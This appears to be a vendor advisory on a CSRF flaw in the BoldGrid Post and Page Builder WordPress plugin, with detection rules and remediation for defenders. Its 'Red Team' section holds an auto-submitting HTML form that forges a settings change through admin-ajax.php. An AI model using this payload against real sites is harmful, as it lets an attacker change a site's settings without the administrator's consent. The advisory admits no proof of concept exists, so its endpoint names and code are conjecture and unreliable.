CVE-2025-52711

Executive Summary

CVE-2025-52711 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin Post and Page Builder by BoldGrid, affecting versions up to and including 1.27.8. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or injecting malicious content, by tricking the victim into clicking a crafted link or visiting a malicious page. The vulnerability has a CVSS score of 4.3 (Medium) and a very low EPSS score of 0.0%, indicating that exploitation is not currently widespread. No public proof-of-concept (PoC) or patch details are available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is widely used for page building. Administrators should verify the integrity of the plugin files and ensure they are obtained from the official source. No known malicious packages have been identified in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a link or visit a page.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can modify plugin settings or content.
• Availability (A): None – No denial of service impact.

Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity could allow an attacker to deface the site or inject malicious scripts.

Deep Dive & Mechanics

The vulnerability resides in the Post and Page Builder by BoldGrid plugin, which is a WordPress plugin used for drag-and-drop page building. The plugin fails to implement proper CSRF tokens or nonces on certain administrative actions, such as saving settings, importing/exporting templates, or modifying user roles. An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, sends forged requests to the WordPress site, performing actions without the administrator's consent.

Root Cause: The plugin does not validate the origin of requests or include a CSRF token in forms/requests that modify plugin state. This allows an attacker to leverage the victim's active session to execute unauthorized actions.

Attack Flow:

1. Attacker crafts a malicious link or hosts a page with an auto-submitting form.
2. Attacker lures an authenticated WordPress admin to click the link or visit the page.
3. The victim's browser sends a forged request to the WordPress site (e.g., wp-admin/admin-ajax.php?action=boldgrid_save_settings&...).
4. The plugin processes the request, believing it came from the legitimate admin, and modifies the plugin settings or content.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions up to 1.27.8. A patched version would include a CSRF nonce check.

Vulnerable Code (Conceptual):

// In boldgrid-settings.php
add_action('wp_ajax_boldgrid_save_settings', 'boldgrid_save_settings_callback');
function boldgrid_save_settings_callback() {
    // No nonce check
    update_option('boldgrid_settings', $_POST['settings']);
    wp_die();
}

Patched Code (Conceptual):

// In boldgrid-settings.php
add_action('wp_ajax_boldgrid_save_settings', 'boldgrid_save_settings_callback');
function boldgrid_save_settings_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'boldgrid_save_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('boldgrid_settings', $_POST['settings']);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and an authenticated admin session.
• A way to deliver the malicious link to the admin (e.g., email, social engineering).

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html) that auto-submits a form to the target WordPress site.
2. Host the file on an attacker-controlled server or use a URL shortener.
3. Send the link to the victim admin.

Example Malicious HTML:

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="boldgrid_save_settings">
    <input type="hidden" name="settings" value='{"malicious_setting": "true"}'>
    <input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>

Expected Outcome: The plugin settings are modified without the admin's knowledge.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual admin-ajax.php requests with action=boldgrid_* parameters.
• Look for requests with missing or invalid _wpnonce parameters.
• Alert on multiple failed CSRF attempts.

Prevention:

• Ensure the plugin is updated to a patched version once available.
• Implement Web Application Firewall (WAF) rules to block requests without proper CSRF tokens.
• Educate administrators about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=boldgrid_* parameters.
  • Referer headers from unexpected domains.
• File IOCs:
  • Modified plugin settings in the wp_options table (e.g., boldgrid_settings).
  • Unexpected files in the uploads directory (if the plugin allows file uploads).
• Log IOCs:
  • WordPress debug logs showing failed nonce checks (if patched).
  • Access logs showing multiple requests to admin-ajax.php from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_52711_CSRF_BoldGrid {
    meta:
        description = "Detects potential CSRF exploitation attempts against BoldGrid Post and Page Builder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52711"
    strings:
        $ajax_action = "action=boldgrid_" ascii wide nocase
        $admin_ajax = "admin-ajax.php" ascii wide nocase
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: CVE-2025-52711 CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting BoldGrid plugin admin-ajax.php without proper CSRF tokens
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=boldgrid_'
    condition: selection
falsepositives:
    - Legitimate plugin operations
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-52711 - BoldGrid CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=boldgrid_"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-52711;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available, if the plugin is not critical.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=boldgrid_* parameters that lack a valid nonce.
3. Educate administrators about the risks of clicking unknown links while logged into WordPress.

Long-term Fix:

• Monitor the BoldGrid plugin repository for a patched version (>= 1.27.9).
• Apply the patch as soon as it is released.
• Consider using alternative page builders that have a better security track record.

Workaround:

• Add a custom function to the theme's functions.php to enforce CSRF checks on all BoldGrid AJAX actions:

add_action('wp_ajax_boldgrid_save_settings', 'custom_boldgrid_csrf_check', 1);
function custom_boldgrid_csrf_check() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'boldgrid_save_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
}

Valters IT
Securing Digital Frontiers